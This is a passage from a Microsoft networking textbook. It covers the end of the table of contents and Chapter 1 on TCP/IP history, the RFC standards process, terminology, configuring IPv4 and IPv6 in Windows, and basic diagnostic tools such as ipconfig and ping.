Appendix C – Computer Browser Service ........................................................................................ 517
TCP/IP Fundamentals for Microsoft Windows
Page: xxi
Computer Browsing Overview ........................................................................................................... 518
Browsing Collection and Distribution .............................................................................................. 519
The Collection Process ............................................................................................................... 519
The Distribution Process ............................................................................................................. 520
Servicing Browse Client Requests ................................................................................................. 521
Obtaining the List of Servers Within its LAN Group ................................................................... 521
Obtaining the List of Servers Within Another LAN Group .......................................................... 522
Obtaining the List of Shares on a Server .................................................................................... 523
The Computer Browser Service on Computers Running Windows Server 2008 .......................... 523
Computer Browser Service Operation on an IPv4 Network .............................................................. 525
Domain Spanning an IPv4 Router .................................................................................................. 525
Collection and Distribution Process ............................................................................................ 526
Servicing Browse Client Requests ............................................................................................. 527
Configuring the Lmhosts File for an Domain that Spans IPv4 Routers ...................................... 528
Multiple Domains Separated By IPv4 Routers ............................................................................... 528
Collection and Distribution Process ............................................................................................ 529
Servicing WINS-enabled Client Requests for Remote Domains ................................................ 530
Servicing non-WINS Client Requests for Remote Domains ....................................................... 532
Workgroup Spanning an IPv4 Router ............................................................................................ 533
Multiple Workgroups Separated By IPv4 Routers .......................................................................... 534
TCP/IP Fundamentals for Microsoft Windows
Page: xxii
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 1
Chapter 1 – Introduction to TCP/IP
Abstract
This chapter introduces Transmission Control Protocol/Internet Protocol (TCP/IP), both as an industry standard protocol
suite and as it is supported in the Microsoft Windows Vista, Windows Server 2008, Windows Server 2003, and
Windows XP families of operating systems. For the TCP/IP protocol suite, network administrators must understand its
past, the current standards process, and the common terms used to describe network devices and portions of a
network. For the TCP/IP components in Windows, network administrators must understand the installation and
configuration differences of the Internet Protocol version 4 (IPv4)-based and Internet Protocol version 6 (IPv6)-based
components and the primary tools for troubleshooting.
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 2
Chapter Objectives
After completing this chapter, you will be able to:
Describe the purpose and history of the TCP/IP protocol suite.
Describe the Internet standards process and the purpose of a Request for Comments (RFC) document.
Define common terms used in TCP/IP.
Describe the advantages of including TCP/IP components in Windows.
Describe how to configure the IPv4-based TCP/IP component in Windows.
Describe how to install and configure the IPv6-based TCP/IP component in Windows.
List and define the set of name resolution files and diagnostic tools used by the TCP/IP components in
Windows.
Test the TCP/IP components of Windows with the Ipconfig and Ping tools.
Install and use Network Monitor.
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 3
History of TCP/IP
Transmission Control Protocol/Internet Protocol (TCP/IP) is an industry standard suite of protocols that
is designed for large networks consisting of network segments that are connected by routers. TCP/IP is
the protocol that is used on the Internet, which is the collection of thousands of networks worldwide that
connect research facilities, universities, libraries, government agencies, private companies, and
individuals.
The roots of TCP/IP can be traced back to research conducted by the United States Department of
Defense (DoD) Advanced Research Projects Agency (DARPA) in the late 1960s and early 1970s. The
following list highlights some important TCP/IP milestones:
In 1970, ARPANET hosts started to use Network Control Protocol (NCP), a preliminary form of what
would become the Transmission Control Protocol (TCP).
In 1972, the Telnet protocol was introduced. Telnet is used for terminal emulation to connect dissimilar
systems. In the early 1970s, these systems were different types of mainframe computers.
In 1973, the File Transfer Protocol (FTP) was introduced. FTP is used to exchange files between
dissimilar systems.
In 1974, the Transmission Control Protocol (TCP) was specified in detail. TCP replaced NCP and
provided enhanced reliable communication services.
In 1981, the Internet Protocol (IP) (also known as IP version 4 [IPv4]) was specified in detail. IP
provides addressing and routing functions for end-to-end delivery.
In 1982, the Defense Communications Agency (DCA) and ARPA established the Transmission Control
Protocol (TCP) and Internet Protocol (IP) as the TCP/IP protocol suite.
In 1983, ARPANET switched from NCP to TCP/IP.
In 1984, the Domain Name System (DNS) was introduced. DNS resolves domain names (such as
www.example.com) to IP addresses (such as 192.168.5.18).
In 1995, Internet service providers (ISPs) began to offer Internet access to businesses and individuals.
In 1996, the Hypertext Transfer Protocol (HTTP) was introduced. The World Wide Web uses HTTP.
In 1996, the first set of IP version 6 (IPv6) standards were published.
For more information about these protocols and the layers of the TCP/IP protocol architecture, see
Chapter 2, "Architectural Overview of the TCP/IP Protocol Suite."
With the refinement of the IPv6 standards and their growing acceptance, the chapters of this online
book make the following definitions:
TCP/IP is the entire suite of protocols defined for use on private networks and the Internet. TCP/IP
includes both the IPv4 and IPv6 sets of protocols.
IPv4 is the Internet layer of the TCP/IP protocol suite originally defined for use on the Internet. IPv4 is in
widespread use today.
IPv6 is the Internet layer of the TCP/IP protocol suite that has been recently developed. IPv6 is gaining
acceptance today.
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 4
IP is the term used to describe features or attributes that apply to both IPv4 and IPv6. For example, an
IP address is either an IPv4 address or an IPv6 address.
Note Because the term IP indicates IPv4 in most of the TCP/IP implementations today, the term IP will be
used for IPv4 in some instances. These references will be made clear in the context of the discussion.
When possible, the chapters of this online book will use the term IP (IPv4).
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 5
The Internet Standards Process
Because TCP/IP is the protocol of the Internet, it has evolved based on fundamental standards that
have been created and adopted over more than 30 years. The future of TCP/IP is closely associated
with the advances and administration of the Internet as additional standards continue to be developed.
Although no one organization owns the Internet or its technologies, several organizations oversee and
manage these new standards, such as the Internet Society and the Internet Architecture Board.
The Internet Society (ISOC) was created in 1992 and is a global organization responsible for the
internetworking technologies and applications of the Internet. Although the society’s principal purpose is
to encourage the development and availability of the Internet, it is also responsible for the further
development of the standards and protocols that allow the Internet to function.
The ISOC sponsors the Internet Architecture Board (IAB), a technical advisory group that sets Internet
standards, publishes RFCs, and oversees the Internet standards process. The IAB governs the
following bodies:
The Internet Assigned Number Authority (IANA) oversees and coordinates the assignment of protocol
identifiers used on the Internet.
The Internet Research Task Force (IRTF) coordinates all TCP/IP-related research projects.
The Internet Engineering Task Force (IETF) solves technical problems and needs as they arise on the
Internet and develops Internet standards and protocols. IETF working groups define standards known
as RFCs.
Requests for Comments (RFCs)
The standards for TCP/IP are published in a series of documents called Requests for Comments
(RFCs). RFCs describe the internal workings of the Internet. TCP/IP standards are always published as
RFCs, although not all RFCs specify standards. Some RFCs provide informational, experimental, or
historical information only.
An RFC begins as an Internet draft, which is typically developed by one or more authors in an IETF
working group. An IETF working group is a group of individuals that has a specific charter for an area of
technology in the TCP/IP protocol suite. For example, the IPv6 working group devotes its efforts to
furthering the standards of IPv6. After a period of review and a consensus of acceptance, the IETF
publishes the final version of the Internet draft as an RFC and assigns it an RFC number.
RFCs also receive one of five requirement levels, as listed in Table 1-1.
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 6
Requirement level
Description
Required
Must be implemented on all TCP/IP-based hosts and
gateways.
Recommended
Encouraged that all TCP/IP-based hosts and
gateways implement the RFC specifications.
Recommended RFCs are usually implemented.
Elective
Implementation is optional. Its application has been
agreed to but never widely used.
Limited use
Not intended for general use.
Not recommended
Not recommended for implementation.
Table 1-1 Requirement Levels of RFCs
If an RFC is being considered as a standard, it goes through stages of development, testing, and
acceptance. Within the Internet standards process, these stages are formally known as maturity levels.
Internet standards have one of three maturity levels, as listed in Table 1-2. Maturity levels are
determined by the RFC's IETF working group and are independent of requirement levels.
Maturity level
Description
Proposed Standard
A Proposed Standard specification is generally stable,
has resolved known design choices, is believed to be
well understood, has received significant community
review, and appears to enjoy enough community
interest to be considered valuable.
Draft Standard
A Draft Standard specification must be well
understood and known to be quite stable, both in its
semantics and as a basis for developing an
implementation.
Internet Standard
An Internet Standard specification (which may simply
be referred to as a Standard) is characterized by a
high degree of technical maturity and by a generally
held belief that the specified protocol or service
provides significant benefit to the Internet community.
Table 1-2 Maturity Levels of Internet Standards
If an RFC-based standard must change, the IETF publishes a new Internet draft and, after a period of
review, a new RFC with a new number. The original RFC is never updated. Therefore, you should verify
that you have the most recent RFC on a particular topic or standard. For example, we reference RFCs
throughout the chapters of this online book. If you decide to look up the technical details of an Internet
standard in its RFC, make sure that you have the latest RFC that describes the standard.
You can obtain RFCs from http://www.ietf.org/rfc.html.
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 7
TCP/IP Terminology
The Internet standards use a specific set of terms when referring to network elements and concepts
related to TCP/IP networking. These terms provide a foundation for subsequent chapters. Figure 1-1
illustrates the components of an IP network.
Figure 1-1 Elements of an IP network
Common terms and concepts in TCP/IP are defined as follows:
Node Any device, including routers and hosts, which runs an implementation of IP.
Router A node that can forward IP packets not explicitly addressed to itself. On an IPv6 network, a
router also typically advertises its presence and host configuration information.
Host A node that cannot forward IP packets not explicitly addressed to itself (a non-router). A host is
typically the source and the destination of IP traffic. A host silently discards traffic that it receives but
that is not explicitly addressed to itself.
Upper-layer protocol A protocol above IP that uses IP as its transport. Examples include Internet
layer protocols such as the Internet Control Message Protocol (ICMP) and Transport layer protocols
such as the Transmission Control Protocol (TCP) and User Datagram Protocol (UDP). (However,
Application layer protocols that use TCP and UDP as their transports are not considered upper-layer
protocols. File Transfer Protocol [FTP] and Domain Name System [DNS] fall into this category). For
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 8
details of the layers of the TCP/IP protocol suite, see Chapter 2, "Architectural Overview of the TCP/IP
Protocol Suite."
LAN segment A portion of a subnet consisting of a single medium that is bounded by bridges or Layer
2 switches.
Subnet One or more LAN segments that are bounded by routers and use the same IP address prefix.
Other terms for subnet are network segment and link.
Network Two or more subnets connected by routers. Another term for network is internetwork.
Neighbor A node connected to the same subnet as another node.
Interface The representation of a physical or logical attachment of a node to a subnet. An example of
a physical interface is a network adapter. An example of a logical interface is a tunnel interface that is
used to send IPv6 packets across an IPv4 network.
Address An identifier that can be used as the source or destination of IP packets and that is assigned
at the Internet layer to an interface or set of interfaces.
Packet The protocol data unit (PDU) that exists at the Internet layer and comprises an IP header and
payload.
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 9
TCP/IP Components in Windows
Table 1-3 lists the advantages of the TCP/IP protocol suite and the inclusion of TCP/IP components in
Windows.
Advantages of the TCP/IP protocol suite
Advantages of TCP/IP components in Windows
A standard, routable enterprise networking protocol
that is the most complete and accepted protocol
available. All modern operating systems support
TCP/IP, and most large private networks rely on
TCP/IP for much of their traffic.
TCP/IP components in Windows enable enterprise
networking and connectivity for Windows and non-
Windows–based computers.
A technology for connecting dissimilar systems. Many
TCP/IP application protocols were designed to access
and transfer data between dissimilar systems. These
protocols include HTTP, FTP, and Telnet.
TCP/IP components in Windows allow standards-
based connectivity to other operating system
platforms.
A robust, scaleable, cross-platform client/server
framework.
TCP/IP components in Windows support the Windows
Sockets application programming interface, which
developers use to create client/server applications.
A method of gaining access to the Internet.
Windows-based computers are Internet-ready.
Table 1-3 Advantages of the TCP/IP protocol suite and TCP/IP components in Windows
Windows includes both an IPv4-based and an IPv6-based TCP/IP component.
Configuring the IPv4-based TCP/IP Component in Windows
The IPv4-based TCP/IP component in Windows Server 2008 and Windows Vista is installed by default
and appears as the Internet Protocol Version 4 (TCP/IPv4) component in the Network Connections
folder. Unlike Windows XP and Windows Server 2003, you can uninstall the IPv4-based TCP/IP
component with the netsh interface ipv4 uninstall command.
The IPv4-based TCP/IP component in Windows Server 2003 and Windows XP is installed by default
and appears as the Internet Protocol (TCP/IP) component in the Network Connections folder. You
cannot uninstall the Internet Protocol (TCP/IP) component. However, you can restore its default
configuration by using the netsh interface ip reset command.
The Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP) component can be configured
to obtain its configuration automatically or from manually specified settings. By default, this component
is configured to obtain an address configuration automatically. Figure 1-2 shows the General tab of the
Internet Protocol Version 4 (TCP/IPv4) Properties dialog box.
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 10
Figure 1-2 The General tab of the properties dialog box for the Internet Protocol Version 4 (TCP/IPv4) component
Automatic Configuration
If you specify automatic configuration, the Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol
(TCP/IP) component attempts to locate a Dynamic Host Configuration Protocol (DHCP) server and
obtain a configuration when Windows starts. Many TCP/IP networks use DHCP servers that are
configured to allocate TCP/IP configuration information to clients on the network. For more information
about DHCP, see Chapter 6, "Dynamic Host Configuration Protocol."
If the Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP) component fails to locate a
DHCP server, TCP/IP checks the setting on the Alternate Configuration tab. Figure 1-3 shows this
tab.
Figure 1-3 The Alternate Configuration tab of the Internet Protocol Version 4 (TCP/IPv4) component
This tab contains two options:
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 11
Automatic Private IP Address If you choose this option, Automatic Private IP Addressing (APIPA) is
used. TCP/IP in Windows automatically chooses an IPv4 address from the range 169.254.0.1 to
169.254.255.254, using the subnet mask of 255.255.0.0. The DHCP client ensures that the IPv4
address that TCP/IP in Windows has chosen is not already in use. If the address is in use, TCP/IP in
Windows chooses another IPv4 address and repeats this process for up to 10 addresses. When
TCP/IP in Windows has chosen an address that the DHCP client has verified as not in use, TCP/IP in
Windows configures the interface with this address. With APIPA, users on single-subnet Small
Office/Home Office (SOHO) networks can use TCP/IP without having to perform manual configuration
or set up a DHCP server. APIPA does not configure a default gateway. Therefore, only local subnet
traffic is possible.
User Configured If you choose this option, TCP/IP in Windows uses the configuration that you
specify. This option is useful when a computer is used on more than one network, not all of the
networks have a DHCP server, and an APIPA configuration is not wanted. For example, you might want
to choose this option if you have a laptop computer that you use both at the office and at home. At the
office, the laptop uses a TCP/IP configuration from a DHCP server. At home, where no DHCP server is
present, the laptop automatically uses the alternate manual configuration. This option provides easy
access to home network devices and the Internet and allows seamless operation on both networks,
without requiring you to manually reconfigure TCP/IP in Windows.
If you specify an APIPA configuration or an alternate manual configuration, TCP/IP in Windows
continues to check for a DHCP server in the background every 5 minutes. If TCP/IP finds a DHCP
server, it stops using the APIPA or alternate manual configuration and uses the IPv4 address
configuration offered by the DHCP server.
Manual Configuration
To configure the Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP) component
manually, also known as creating a static configuration, you must at a minimum assign the following:
IP address An IP (IPv4) address is a logical 32-bit address that is used to identify the interface of an
IPv4-based TCP/IP node. Each IPv4 address has two parts: the subnet prefix and the host ID. The
subnet prefix identifies all hosts that are on the same physical network. The host ID identifies a host on
the network. Each interface on an IPv4-based TCP/IP network requires a unique IPv4 address, such as
131.107.2.200.
Subnet mask A subnet mask allows the Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol
(TCP/IP) component to distinguish the subnet prefix from the host ID. An example of a subnet mask is
255.255.255.0.
For more information about IPv4 addresses and subnet masks, see Chapter 3, "IP Addressing," and
Chapter 4, "Subnetting."
You must configure these parameters for each network adapter in the node that uses the Internet
Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP) component. If you want to connect to
nodes beyond the local subnet, you must also assign the IPv4 address of a default gateway, which is a
router on the local subnet to which the node is attached. The Internet Protocol Version 4 (TCP/IPv4) or
Internet Protocol (TCP/IP) component sends packets that are destined for remote networks to the
default gateway, if no other routes are configured on the local host.
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 12
You can also manually configure the IPv4 addresses of primary and alternate DNS servers. The
Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP) component uses DNS servers to
resolve names, such as www.example.com, to IPv4 or IPv6 addresses.
Figure 1-4 shows an example of a manual configuration for the Internet Protocol Version 4 (TCP/IPv4)
component.
Figure 1-4 An example of a manual configuration for the Internet Protocol Version 4 (TCP/IPv4) component
You can also manually configure the Internet Protocol Version 4 (TCP/IPv4) component using netsh
interface ipv4 commands and the Internet Protocol (TCP/IP) component using netsh interface ip
commands at a command prompt.
Installing and Configuring the IPv6-based TCP/IP Component in Windows
The procedure for installing and manually configuring the IPv6-based TCP/IP component in Windows
depends on the version of Windows. All versions of IPv6 in Windows support IPv6 address
autoconfiguration. All IPv6 nodes automatically create unique IPv6 addresses for use between
neighboring nodes on a subnet. To reach remote locations, each IPv6 host upon startup sends a
Router Solicitation message in an attempt to discover the local routers on the subnet. An IPv6 router on
the subnet responds with a Router Advertisement message, which the IPv6 host uses to automatically
configure IPv6 addresses, the default router, and other IPv6 settings.
Windows Vista and Windows Server 2008
In Windows Vista and Windows Server 2008, the Internet Protocol Version 6 (TCP/IPv6) component is
installed by default and cannot be uninstalled. You do not need to configure the typical IPv6 host
manually. However, you can manually configure the Internet Protocol Version 6 (TCP/IPv6) component
through the Windows graphical user interface or with commands in the netsh interface ipv6 context.
To manually configure IPv6 settings through the Windows graphical user interface, do the following:
1. From the Network Connections folder, right-click the connection or adapter on which you want to
manually configure IPv6, and then click Properties.
2. On the Networking tab for the properties of the connection or adapter, double-click Internet
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 13
Protocol Version 6 (TCP/IPv6) in the list under This connection uses the following items.
Figure 1-5 shows an example of the Internet Protocol Version 6 (TCP/IPv6) Properties dialog box.
Figure 1-5 An example of Internet Protocol Version 6 (TCP/IPv6) Properties dialog box
For a manually configured address, you must specify an IPv6 address and subnet prefix length (almost
always 64). You can also specify the IPv6 addresses of a default gateway and primary and secondary
DNS servers.
Alternately, you can use the netsh interface ipv6 commands to add addresses or routes and configure
other settings. For more information, see Configuring IPv6 with Windows Vista.
Windows XP and Windows Server 2003
Windows XP with Service Pack 1 (SP1) and Windows Server 2003 were the first versions of Windows
to support IPv6 for production use. You install IPv6 as a component in Network Connections; the
component is named Microsoft TCP/IP Version 6 in Windows Server 2003 and Microsoft IPv6
Developer Edition in Windows XP with SP1.
Unlike the Internet Protocol (TCP/IP) component, the IPv6 component is not installed by default, and
you can uninstall it. You can install the IPv6 component in the following ways:
Using the Network Connections folder.
Using the netsh interface ipv6 install command.
To install the IPv6 component in Windows Server 2003 using the Network Connections folder, do the
following:
1. From the Network Connections folder, right-click any local area connection, and then click
Properties.
2. Click Install.
3. In the Select Network Component Type dialog box, click Protocol, and then click Add.
4. In the Select Network Protocol dialog box, click Microsoft TCP/IP Version 6, and then click OK.
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 14
5. Click Close to save changes.
The IPv6 component in Windows XP and Windows Server 2003 has no properties dialog box from
which you can configure IPv6 addresses and settings. Configuration should be automatic for IPv6 hosts
and manual for IPv6 routers.
If a host does require manual configuration, use the netsh interface ipv6 commands to add addresses
or routes and configure other settings. If you are configuring a computer running Windows XP with SP1
or later or Windows Server 2003 to be an IPv6 router, then you must use the netsh interface ipv6
commands to manually configure the IPv6 component with address prefixes.
For more information about configuring an IPv6 router, see Chapter 5, "IP Routing."
Name Resolution Files in Windows
The IPv4 and IPv6 components in Windows support the use of name resolution files to resolve the
names of destinations, networks, protocols, and services. Table 1-4 lists these name resolution files,
which are stored in the Systemroot\System32\Drivers\Etc folder.
File name
Description
Hosts
Resolves host names to IPv4 or IPv6 addresses. For
more information, see Chapter 7, "Host Name
Resolution."
Lmhosts
Resolves network basic input/output system
(NetBIOS) names to IPv4 addresses. A sample
Lmhosts file (Lmhosts.sam) is included by default. You
can create a different file named Lmhosts or you can
rename or copy Lmhosts.sam to Lmhosts in this
folder. For more information, see Chapter 11,
"NetBIOS over TCP/IP."
Networks
Resolves network names to IPv4 address prefixes.
Protocol
Resolves protocol names to RFC-defined protocol
numbers. A protocol number is a field in the IPv4
header that identifies the upper-layer protocol (such as
TCP or UDP) to which the IPv4 packet payload should
be passed.
Services
Resolves service names to port numbers and protocol
names. Port numbers correspond to fields in the TCP
or UDP headers that identify the application using TCP
or UDP.
Table 1-4 Name Resolution Files in Windows
TCP/IP Tools in Windows
Table 1-5 lists the TCP/IP diagnostic tools that are included with Windows. You can use these tools to
help identify or resolve TCP/IP networking problems.
Tool
Description
Arp
Allows you to view and edit the Address Resolution
Protocol (ARP) cache. The ARP cache maps IPv4
addresses to media access control (MAC) addresses.
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 15
Windows uses these mappings to send data on the
local network.
Hostname
Displays the host name of the computer.
Ipconfig
Displays current TCP/IP configuration values for both
IPv4 and IPv6. Also used to manage DHCP
configuration and the DNS client resolver cache.
Lpq
Displays the status of print queues on print servers
running Line Printer Daemon (LPD) software.
Nbtstat
Checks the state of current NetBIOS over TCP/IP
connections, updates the Lmhosts cache, and
determines the registered names and scope ID.
Netsh
Displays and allows you to administer settings for IPv4
or IPv6 on either the local computer or a remote
computer.
Netstat
Displays statistics and other information about current
IPv4 and IPv6 connections.
Nslookup
Queries a DNS server.
Ping
Tests IPv4 or IPv6 connectivity to other IP nodes.
Route
Allows you to view the local IPv4 and IPv6 routing
tables and to modify the local IPv4 routing table.
Tracert
Traces the route that an IPv4 or IPv6 packet takes to a
destination.
Pathping
Traces the route that an IPv4 or IPv6 packet takes to a
destination and displays information on packet losses
for each router and subnet in the path.
Table 1-5 TCP/IP diagnostic tools in Windows
After you have configured TCP/IP, you can use the Ipconfig and Ping tools to verify and test the
configuration and connectivity to other TCP/IP hosts and networks.
The Ipconfig Tool
You can use the Ipconfig tool to verify the TCP/IP configuration parameters on a host, including the
following:
For IPv4, the IPv4 address, subnet mask, and default gateway.
For IPv6, the IPv6 addresses and the default router.
Ipconfig is useful in determining whether the configuration is initialized and whether a duplicate IP
address is configured. To view this information, type ipconfig at a command prompt.
Here is an example of the display of the Ipconfig tool for a computer running Windows XP that is using
both IPv4 and IPv6:
C:\>ipconfig
Windows IP Configuration
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 16
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : wcoast.example.com
IP Address. . . . . . . . . . . . : 157.60.139.77
Subnet Mask . . . . . . . . . . . : 255.255.252.0
IP Address. . . . . . . . . . . . : 2001:db8:ffff:f282:204:76ff:fe36:7363
IP Address. . . . . . . . . . . . : fec0::f282:204:76ff:fe36:7363%2
IP Address. . . . . . . . . . . . : fe80::204:76ff:fe36:7363
Default Gateway . . . . . . . . . : 157.60.136.1
2001:db8:1:21ad:210:ffff:fed6:58c0
Tunnel adapter Automatic Tunneling Pseudo-Interface:
Connection-specific DNS Suffix . : wcoast.example.com
IP Address. . . . . . . . . . . . : 2001:db8:ffff:f70f:0:5efe:157.60.139.77
IP Address. . . . . . . . . . . . : fe80::5efe:157.60.139.77%2
Default Gateway . . . . . . . . . : fe80::5efe:157.54.253.9%2
Type ipconfig /all at a command prompt to view the IPv4 and IPv6 addresses of DNS servers, the IPv4
addresses of Windows Internet Name Service (WINS) servers (which resolve NetBIOS names to IP
addresses), the IPv4 address of the DHCP server, and lease information for DHCP-configured IPv4
addresses.
The Ping Tool
After you verify the configuration with the Ipconfig tool, use the Ping tool to test connectivity. The Ping
tool is a diagnostic tool that tests TCP/IP configurations and diagnoses connection failures. For IPv4,
Ping uses ICMP Echo and Echo Reply messages to determine whether a particular IPv4-based host is
available and functional. For IPv6, Ping uses ICMP for IPv6 (ICMPv6) Echo Request and Echo Reply
messages. The basic command syntax is ping Destination, in which Destination is either an IPv4 or
IPv6 address or a name that can be resolved to an IPv4 or IPv6 address.
Here is an example of the display of the Ping tool for an IPv4 destination:
C:\>ping 157.60.136.1
Pinging 157.60.136.1 with 32 bytes of data:
Reply from 157.60.136.1: bytes=32 time<1ms TTL=255
Reply from 157.60.136.1: bytes=32 time<1ms TTL=255
Reply from 157.60.136.1: bytes=32 time<1ms TTL=255
Reply from 157.60.136.1: bytes=32 time<1ms TTL=255
Ping statistics for 157.60.136.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 17
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
Here is an example of the display of the Ping tool for an IPv6 destination:
C:\>ping 2001:db8:1:21ad:210:ffff:fed6:58c0
Pinging 2001:db8:1:21ad:210:ffff:fed6:58c0 from 2001:DB8:1:21ad:204:76ff:fe36:7363 with
32 bytes of data:
Reply from 2001:db8:1:21ad:210:ffff:fed6:58c0: time<1ms
Reply from 2001:db8:1:21ad:210:ffff:fed6:58c0: time<1ms
Reply from 2001:db8:1:21ad:210:ffff:fed6:58c0: time<1ms
Reply from 2001:db8:1:21ad:210:ffff:fed6:58c0: time<1ms
Ping statistics for 2001:db8:1:21ad:210:ffff:fed6:58c0:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 1ms, Average = 0ms
To verify a computer’s configuration and to test for router connections, do the following:
1. Type ipconfig at a command prompt to verify whether the TCP/IP configuration has initialized.
2. Ping the IPv4 address of the default gateway or the IPv6 address of the default router to verify
whether they are functioning and whether you can communicate with a node on the local network.
3. Ping the IPv4 or IPv6 address of a remote node to verify whether you can communicate through a
router.
If you start with step 3 and you are successful, then you can assume that you would be successful with
steps 1 and 2.
Note You cannot use the Ping tool to troubleshoot connections if packet filtering routers and host-based
firewalls are dropping ICMP and ICMPv6 traffic. For more information, see Chapter 13, "Internet Protocol
Security (IPsec) and Packet Filtering."
Network Monitor
You can use Microsoft Network Monitor to simplify troubleshooting complex network problems by
monitoring and capturing network traffic for analysis. Network Monitor works by configuring a network
adapter to capture all incoming and outgoing packets.
You can define capture filters so that only specific frames are saved. Filters can save frames based on
source and destination MAC addresses, source and destination protocol addresses, and pattern
matches. After a packet is captured, you can use display filtering to further isolate a problem. When a
packet has been captured and filtered, Network Monitor interprets and displays the packet data in
readable terms.
Network Monitor 3.1 is a free download from Microsoft.
Windows Server 2003 includes a version of Network Monitor that can capture data for the local
computer only. To install Network Monitor in Windows Server 2003, do the following:
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 18
1. Click Start, point to Control Panel, click Add or Remove Programs, and then click Add/Remove
Windows Components.
2. In the Windows Components wizard, click Management and Monitoring Tools, and then click
Details.
3. In Management And Monitoring Tools, select the Network Monitor Tools check box, and then
click OK.
4. If you are prompted for additional files, insert the product CD, or type a path to the location of the files
on the network.
Note To perform this procedure, you must be logged on as a member of the Administrators group on the
local computer, or you must have been delegated the appropriate authority. If the computer is joined to a
domain, members of the Domain Admins group might also be able to perform this procedure.
To analyze network traffic with Network Monitor, you must start the capture, generate the network traffic
you want to observe, stop the capture, and then view the data. The procedures for capturing and
analyzing network traffic vary with the version of Network Monitor. For more information, see the
Network Monitor help topics.
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 19
Chapter Summary
The chapter includes the following pieces of key information:
TCP/IP is an industry-standard suite of protocols that are designed for large-scale networks. The
TCP/IP protocol suite includes both the IPv4 and IPv6 sets of protocols.
The standards for TCP/IP are published in a series of documents called RFCs.
On a TCP/IP-based network, a router can forward packets that are not addressed to the router, a host
cannot, and a node is either a host or a router.
On a TCP/IP-based network, a subnet is one or more LAN segments that are bounded by routers and
that use the same IP address prefix, and a network is two or more subnets connected by routers.
The IPv4-based TCP/IP component in Windows is the Internet Protocol Version 4 (TCP/IPv4) or
Internet Protocol (TCP/IP) component in Network Connections. This component is installed by default,
and you cannot uninstall it. You configure it either automatically (by using DHCP or an alternate
configuration) or manually (by using Network Connections or the Netsh tool).
The IPv6-based TCP/IP component in Windows is the Internet Protocol Version 6 (TCP/IPv6), Microsoft
TCP/IP Version 6, or Microsoft IPv6 Developer Edition component in the Network Connections folder.
For Windows Server 2008 and Windows Vista, the Internet Protocol Version 6 (TCP/IPv6) component is
installed by default. For Windows Server 2003 and Windows XP, the IPv6-based TCP/IP component is
not installed by default, and you can uninstall it. You configure it either automatically (with IPv6 address
autoconfiguration) or manually (by using the Network Connections folder or the Netsh tool).
Ipconfig and ping are the primary tools for troubleshooting basic IP configuration and connectivity.
You can use Network Monitor to troubleshoot complex network problems by capturing and viewing
network traffic for analysis.
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 20
Chapter Glossary
address – An identifier that specifies the source or destination of IP packets and that is assigned at the
IP layer to an interface or set of interfaces.
APIPA – See Automatic Private IP Addressing.
Automatic Private IP Addressing – A feature in Windows that automatically configures a unique IPv4
address from the range 169.254.0.1 through 169.254.255.254 and a subnet mask of 255.255.0.0.
APIPA is used when TCP/IP in Windows is configured for automatic addressing, no DHCP server is
available, and the Automatic Private IP Address alternate configuration option is chosen.
host – A node that is typically the source and a destination of IP traffic. Hosts silently discard received
packets that are not addressed to an IP address of the host.
interface – The representation of a physical or logical attachment of a node to a subnet. An example of
a physical interface is a network adapter. An example of a logical interface is a tunnel interface that is
used to send IPv6 packets across an IPv4 network.
IP – Features or attributes that apply to both IPv4 and IPv6. For example, an IP address is either an
IPv4 address or an IPv6 address.
IPv4 – The Internet layer protocols of the TCP/IP protocol suite as defined in RFC 791. IPv4 is in
widespread use today.
IPv6 – The Internet layer protocols of the TCP/IP protocol suite as defined in RFC 2460. IPv6 is gaining
acceptance today.
LAN segment – A portion of a subnet that consists of a single medium that is bounded by bridges or
Layer 2 switches.
neighbor – A node that is connected to the same subnet as another node.
network – Two or more subnets that are connected by routers. Another term for network is internetwork.
node – Any device, including routers and hosts, which runs an implementation of IP.
packet – The protocol data unit (PDU) that exists at the Internet layer and comprises an IP header and
payload.
Request for Comments (RFC) - An official document that specifies the details for protocols included in
the TCP/IP protocol suite. The Internet Engineering Task Force (IETF) creates and maintains RFCs for
TCP/IP.
RFC – See Request for Comments (RFC).
router – A node that can be a source and destination for IP traffic and can also forward IP packets that
